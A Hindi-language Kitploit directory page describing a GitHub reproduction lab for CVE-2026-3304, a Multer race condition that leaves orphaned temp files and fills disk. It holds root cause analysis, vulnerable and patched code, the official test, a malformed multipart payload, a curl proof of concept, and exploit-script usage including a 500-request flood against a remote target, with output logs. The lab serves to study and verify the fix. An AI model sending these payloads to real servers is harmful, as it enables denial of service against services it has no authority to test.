Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/mkway/cve-2026-3304
भेद्यता विश्लेषणशोषणवेब सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubmkway/cve-2026-3304

CVE-2026-3304

# CVE-2026-3304 के लिए प्रजनन प्रयोगशाला Multer async fileFilter रेस कंडीशन जो अनाथ अस्थायी फाइलों के माध्यम से डिस्क भरने का कारण बनती है। इसमें कमजोर और पैच किए गए Docker सर्वर, एक्सप्लॉइट स्क्रिप्ट और मूल कारण विश्लेषण शामिल हैं।

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-3304 लैब वातावरण

केवल शैक्षिक और शोध उद्देश्यों के लिए। बिना प्राधिकरण के सिस्टम पर हमला करना अवैध है।

यह लैब वातावरण Multer 2.1.0 पैच और उसके आधिकारिक परीक्षण कोड का विश्लेषण करके बनाया गया था। कमजोर सर्वर पैच परीक्षण में वर्णित सटीक स्थितियों को दोहराता है, और पैच किया गया सर्वर फिक्स की पुष्टि करने के लिए Multer 2.1.0 चलाता है।

भेद्यता अवलोकन

फ़ील्डविवरण
CVECVE-2026-3304
लक्ष्यMulter < 2.1.0 (Node.js multipart/form-data मिडलवेयर)
प्रकारDoS — अनाथ फ़ाइल (अपूर्ण अस्थायी फ़ाइल सफाई)
CWECWE-459: अपूर्ण सफाई
CVSS 4.08.7 उच्च
पैच किया गया संस्करणMulter 2.1.0

फ़ाइल भाग पर name विशेषता गायब होने वाला एक दोषपूर्ण multipart अनुरोध Multer को डिस्क पर एक अस्थायी फ़ाइल बनाने का कारण बनता है लेकिन उसे कभी साफ नहीं करता। बार-बार अनुरोध डिस्क स्थान समाप्त कर देते हैं, जिसके परिणामस्वरूप सेवा से इनकार (DoS) होता है।


मूल कारण विश्लेषण

यह भेद्यता multer/lib/make-middleware.js के अंदर fileFilter कॉलबैक हैंडलिंग प्रवाह में उत्पन्न होती है।

मुख्य समस्या: setImmediate टाइमिंग + गायब errorOccured जाँच

जब Multer एक multipart अनुरोध भाग को भाग द्वारा स्ट्रीम और पार्स करता है, तो निम्न अनुक्रम होता है:

root@kitploit:~
[पार्सिंग इवेंट अनुक्रम — कमजोर संस्करण]

1. भाग 1 हेडर प्राप्त हुआ
   → fileFilter(req, file, cb) कहा गया
   → setImmediate(cb) → कॉलबैक अगले इवेंट लूप टिक पर स्थगित

2. भाग 1 बॉडी प्राप्त हुई
   → /tmp/uploads/<uuid> खोला गया, डेटा लिखा जाना शुरू

3. भाग 2 हेडर प्राप्त हुआ (name विशेषता गायब)
   → Multer 'name missing' का पता लगाता है
   → errorOccured = true  ← त्रुटि फ़्लैग सेट
   → abortWithCode('LIMIT_FIELD_KEY') कहा गया → HTTP 500 निर्धारित

4. setImmediate कॉलबैक फायर होता है (अगला इवेंट लूप टिक)
   → fileFilter परिणाम: includeFile = true (सामान्य प्रवाह)
   → [BUG] errorOccured फ़्लैग की जाँच नहीं की गई
   → storage._handleFile() कहा गया → अस्थायी फ़ाइल डिस्क पर प्रतिबद्ध

5. HTTP 500 प्रतिक्रिया भेजी गई
   → अस्थायी फ़ाइल डिस्क पर बनी रहती है (अनाथ फ़ाइल)

कमजोर कोड (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// fileFilter पूर्णता कॉलबैक (setImmediate के माध्यम से स्थगित)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured की यहाँ कभी जाँच नहीं की गई
  //    भले ही भाग 2 को पार्स करते समय त्रुटि सेट की गई हो, निष्पादन जारी रहता है
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // अस्थायी फ़ाइल uploadedFiles में पंजीकृत है और डिस्क पर छोड़ दी गई है
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

setImmediate समस्या क्यों है?

fileFilter को setImmediate के साथ लपेटना उसके कॉलबैक को अगले इवेंट लूप टिक पर स्थगित कर देता है। उस विंडो में, busboy (multipart पार्सर) अगले भाग के हेडर को पार्स करना जारी रखता है, गायब name का पता लगाता है, और errorOccured = true सेट करता है। जब कॉलबैक फिर से शुरू होता है, त्रुटि स्थिति पहले से सेट होती है — लेकिन कोड इसे कभी जाँचता नहीं है, इसलिए storage._handleFile बिना शर्त कहा जाता है और अस्थायी फ़ाइल डिस्क पर लिखी जाती है।


पैच कोड विश्लेषण (Multer 2.1.0)

फिक्स कमिट: 739919097d

fileFilter कॉलबैक प्रविष्टि के तुरंत बाद, storage._handleFile तक पहुंचने से पहले एक एकल if (errorOccured) गार्ड जोड़ा गया था।

root@kitploit:~
// fileFilter पूर्णता कॉलबैक (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] आगे बढ़ने से पहले errorOccured जाँचें
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // स्ट्रीम खाली करें — डिस्क पर कोई फ़ाइल नहीं लिखी गई
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

परिवर्तनों का सारांश

आइटमकमजोर (< 2.1.0)पैच किया गया (2.1.0)
errorOccured जाँच❌ जाँच नहीं की गई✅ कॉलबैक प्रविष्टि पर तुरंत जाँच की गई
त्रुटि पर _handleFile कहा गयाहाँअवरुद्ध
अस्थायी फ़ाइल सफाई❌ गायब✅ fileStream.resume() के माध्यम से
प्रति अनुरोध अनाथ फ़ाइलें10

fileStream.resume() सफाई क्यों करता है: fileStream.resume() को कॉल करना स्ट्रीम को DiskStorage को पारित किए बिना खाली और त्याग देता है, इसलिए कोई फ़ाइल नहीं लिखी जाती और डिस्क पर कुछ भी नहीं बचता।


आधिकारिक पैच परीक्षण कोड

Multer टीम ने फिक्स को सत्यापित करने के लिए 2.1.0 पैच में निम्नलिखित Mocha परीक्षण शामिल किया। यह परीक्षण इस लैब वातावरण के लिए ब्लूप्रिंट बन गया — कमजोर सर्वर यहां वर्णित सटीक सेटअप को दोहराता है (setImmediate fileFilter + दोषपूर्ण multipart अनुरोध), और अपेक्षित व्यवहार कमजोर और पैच किए गए दोनों संस्करणों के खिलाफ सत्यापित किया जाता है।

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
Assertअर्थ
res.statusCode === 400Multer दोषपूर्ण अनुरोध को सही ढंग से अस्वीकार करता है
files.length === 0डिस्क पर कोई अनाथ फ़ाइल नहीं बची (पैच सत्यापित)

कमजोर संस्करण (< 2.1.0) पर, files.length 1 के बराबर है और assert विफल हो जाता है।


लैब कार्यान्वयन

यह लैब सीधे ऊपर दिए गए पैच परीक्षण सेटअप को दर्शाता है।

कमजोर सर्वर (Dockerfile + app/server.js) Multer 2.0.2 को एक async fileFilter के साथ चलाता है जो setImmediate का उपयोग करता है — पैच परीक्षण से सटीक ट्रिगर स्थिति:

root@kitploit:~
// app/server.js — पैच परीक्षण के भेद्यता ट्रिगर को दोहराता है
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← कॉलबैक स्थगित करता है, रेस कंडीशन बनाता है
      cb(null, true)
    })
  }
})

पैच किया गया सर्वर (Dockerfile.patched) समान server.js चलाता है लेकिन Multer 2.1.0 स्थापित करता है, जहां errorOccured गार्ड मौजूद है — पैच परीक्षण की अपेक्षित पासिंग स्थिति से मेल खाता है।

सर्वरपोर्टMulterअपेक्षित व्यवहार
कमजोर30002.0.2प्रति दोषपूर्ण अनुरोध अनाथ फ़ाइल बनाई गई
पैच किया गया30012.1.0कोई अनाथ फ़ाइल नहीं — सफाई सही ढंग से काम करती है

नोट: fileFilter को सिंक्रोनस में बदलना (setImmediate हटाना) Multer < 2.1.0 पर भी अनाथ फ़ाइलों को रोकता है। भेद्यता के लिए दोनों स्थितियों की आवश्यकता होती है: एक async fileFilter और गायब errorOccured जाँच।


हमला: दोषपूर्ण POST अनुरोध

हमला एक multipart/form-data POST भेजता है जहां दूसरे भाग में आवश्यक name विशेषता गायब है।

सामान्य अनुरोध (सुरक्षित)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

दुर्भावनापूर्ण अनुरोध (CVE-2026-3304 ट्रिगर करता है)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← भाग 1: मान्य, अस्थायी फ़ाइल यहां बनाई गई
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← भाग 2: name= गायब!
Content-Type: application/octet-stream

x
------Boundary--

सर्वर-साइड निष्पादन:

root@kitploit:~
1. भाग 1 आता है  →  Multer /tmp/uploads/<uuid> खोलता है और लिखना शुरू करता है
2. fileFilter setImmediate के साथ कहा जाता है  →  कॉलबैक स्थगित
3. भाग 2 आता है  →  Multer गायब name का पता लगाता है  →  errorOccured = true
4. setImmediate फायर होता है  →  fileFilter कॉलबैक चलता है
5. [BUG] errorOccured जाँच नहीं की गई  →  storage._handleFile कहा जाता है
6. अस्थायी फ़ाइल डिस्क पर लिखी जाती है
7. HTTP 500 लौटाया जाता है
8. /tmp/uploads/<uuid> हमेशा के लिए डिस्क पर रहता है  ← अनाथ फ़ाइल

सर्वर प्रतिक्रिया:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl PoC

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

तुरंत बाद अनाथ फ़ाइलें जांचें:

root@kitploit:~
curl http://localhost:3000/status

सेटअप

आवश्यकताएँ

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

प्रारंभ

root@kitploit:~
# कमजोर (पोर्ट 3000) + पैच किया गया (पोर्ट 3001) सर्वर प्रारंभ करें
docker compose up -d --build

# दोनों चल रहे हैं सत्यापित करें
curl http://localhost:3000/status
curl http://localhost:3001/status

उपयोग

चरण 1 — एकल दोषपूर्ण अनुरोध (त्वरित परीक्षण)

root@kitploit:~
bash exploit/curl_poc.sh

चरण 2 — DoS शोषण

root@kitploit:~
# डिफ़ॉल्ट (50 अनुरोध)
python3 exploit/exploit.py

# भारी हमला (500 अनुरोध, प्रत्येक 5 KB पेलोड)
python3 exploit/exploit.py --count 500 --size 5120

# स्व-हस्ताक्षरित प्रमाणपत्र के साथ HTTPS लक्ष्य के खिलाफ
python3 exploit/exploit.py --target https://target.example.com --no-verify

# पैच किए गए संस्करण के खिलाफ तुलना करें
python3 exploit/exploit.py --target http://localhost:3001 --count 50

चरण 3 — वास्तविक समय निगरानी (अलग टर्मिनल)

root@kitploit:~
bash exploit/monitor.sh

चरण 4 — अपलोड निर्देशिका रीसेट करें

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

अपेक्षित परिणाम

लक्ष्यपरिणाम
कमजोर सर्वर (3000)प्रति अनुरोध अनाथ फ़ाइल बनाई गई, डिस्क लगातार बढ़ती है
पैच किया गया सर्वर (3001)अनुरोध संख्या की परवाह किए बिना 0 अनाथ फ़ाइलें

सत्यापित परीक्षण परिणाम

शोषण आउटपुट (कमजोर सर्वर, 50 अनुरोध × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

कंटेनर के अंदर सत्यापित वास्तविक डिस्क उपयोग

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Before attack:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

After 200 requests × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

प्रत्येक अनाथ फ़ाइल सर्वर को पुनरारंभ करने या मैन्युअल रूप से साफ करने तक स्थायी रूप से डिस्क पर बैठती है। कंटेनर का tmpfs 50 MB पर सीमित है — सीमा तक पहुंचने से सर्वर नए अपलोड पर पूरी तरह विफल हो जाता है।

रीसेट के बिना दो रन — फ़ाइलें जमा होती हैं

root@kitploit:~
Run 1:  orphaned files   0  ->  50   (100 KB)
Run 2:  orphaned files  50  -> 100   (200 KB)
        ↑ files from run 1 still present — never cleaned up

पैच किया गया सर्वर (Multer 2.1.0) — समान हमला, शून्य प्रभाव

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

टियरडाउन

root@kitploit:~
docker compose down

संदर्भ

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • Fix commit 739919097d
  • NVD CVE-2026-3304
टूल डाउनलोड करें